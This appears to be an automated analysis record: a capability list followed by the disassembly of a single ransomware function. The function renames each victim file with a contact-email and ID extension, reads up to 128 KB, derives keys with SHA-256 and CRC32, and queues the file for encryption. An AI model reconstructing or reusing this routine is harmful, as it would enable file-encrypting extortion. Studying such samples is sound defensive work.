Function at 0x4050f0
Capabilities:
Encode data using xor
Get file size
Hash data using sha256
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
push ebx
push esi
push edi
push str..kasper
push 0x4236a8
push str.kasperskyrans_gmail.com
lea eax, [ebp - 0x1d0]
mov esi, ecx
push str..EMAIL__S_ID__S__s
push eax
mov dword [ebp - 4], esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ebx, [eax*2 + 0x100]
push ebx
push 8
push dword [0x4236f4]
call esi
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
jne 0x40516f
nop dword [eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push 8
push dword [0x4236f4]
call esi
mov edi, eax
mov dword [ebp - 8], eax
test edi, edi
je 0x405150
mov ebx, dword [ebp - 4]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x1d0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 9
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x4051b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push str.Unable_To_Rename_File:__s____lu
call fcn.004049f0
add esp, 0xc
jmp 0x40544f
push 0
push 0x48000000
push 3
push 0
push 0
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40544f
lea ecx, [ebp - 0x20]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x405446
mov ecx, dword [ebp - 0x20]
mov eax, ecx
mov edx, dword [ebp - 0x1c]
or eax, edx
mov dword [ebp - 0x10], ecx
je 0x405446
test edx, edx
jl 0x405211
jg 0x405209
cmp ecx, 0x20000
jb 0x405211
mov ecx, 0x20000
mov dword [ebp - 0x10], ecx
lea eax, [ecx + 0xf0]
push eax
push 8
push dword [0x4236f4]
mov dword [ebp - 0x14], eax
call esi
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
jne 0x405250
mov edi, dword [ebp - 0x14]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x4236f4]
call esi
mov ebx, eax
mov dword [ebp - 4], eax
test ebx, ebx
je 0x405231
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x60]
mov dword [ebx + 0xe4], eax
mov eax, dword [ebp - 0x20]
mov dword [ebx + 0xe8], eax
mov eax, dword [ebp - 0xc]
mov dword [ebx + 0x9c], eax
mov eax, dword [0x4227f0]
shl eax, 0x11
cdq
mov dword [ebx + 0xac], edx
mov edx, 0x20
mov dword [ebx + 0xa8], eax
call fcn.00404da0
mov edx, 8
lea ecx, [ebx + 0xd4]
call fcn.00404da0
lea ecx, [ebx + 0xb4]
push 0x41fb04
lea edx, [ebp - 0x60]
call fcn.00404860
add esp, 4
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0x40]
push 0x41f114
call fcn.00404860
add esp, 4
mov dword [ebp - 0xc8], 0x6a09e667
xorps xmm0, xmm0
mov dword [ebp - 0xc4], 0xbb67ae85
lea edx, [ebp - 0x40]
movlpd qword [ebp - 0xd0], xmm0
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xc0], 0x3c6ef372
push 0x20
mov dword [ebp - 0xbc], 0xa54ff53a
mov dword [ebp - 0xb8], 0x510e527f
mov dword [ebp - 0xb4], 0x9b05688c
mov dword [ebp - 0xb0], 0x1f83d9ab
mov dword [ebp - 0xac], 0x5be0cd19
mov dword [ebp - 0xa8], 0
call fcn.00406660
add esp, 4
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0xd0]
call fcn.004066e0
push 0x70
lea eax, [ebp - 0xd0]
push 0
push eax
call fcn.004079a0
add esp, 0xc
lea eax, [ebx + 0x18]
lea edx, [ebx + 0xd4]
lea ecx, [ebp - 0x40]
push eax
call fcn.00401130
mov eax, dword [0x4227f0]
lea esi, [ebp - 0x40]
add esp, 4
mov dword [ebx + 0xb0], eax
or edx, 0xffffffff
mov ebx, 0x20
nop word [eax + eax]
movzx eax, byte [esi]
lea esi, [esi + 1]
mov ecx, edx
shl edx, 8
shr ecx, 0x18
xor ecx, eax
xor edx, dword [ecx*4 + 0x41eb40]
sub ebx, 1
jne 0x405390
mov ebx, dword [ebp - 4]
or eax, 0xffffffff
mov esi, 0x20
mov dword [ebx + 0xdc], edx
lea edi, [ebx + 0xb4]
movzx ecx, byte [edi]
lea edi, [edi + 1]
mov edx, eax
shl eax, 8
shr edx, 0x18
xor edx, ecx
xor eax, dword [edx*4 + 0x41eb40]
sub esi, 1
jne 0x4053c3
mov edi, dword [ebp - 8]
lea ecx, [esi + 0x20]
mov dword [ebx + 0xe0], eax
lea eax, [ebp - 0x60]
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4053f0
mov ecx, 0x20
lea eax, [ebp - 0x40]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x405403
push dword [0x4236ec]
push ecx
push dword [0x4236e8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x405446
push ebx
push 0
push 0
push dword [0x4236e8]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x40544f
lock inc dword [0x4236f0]
jmp 0x40544f
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret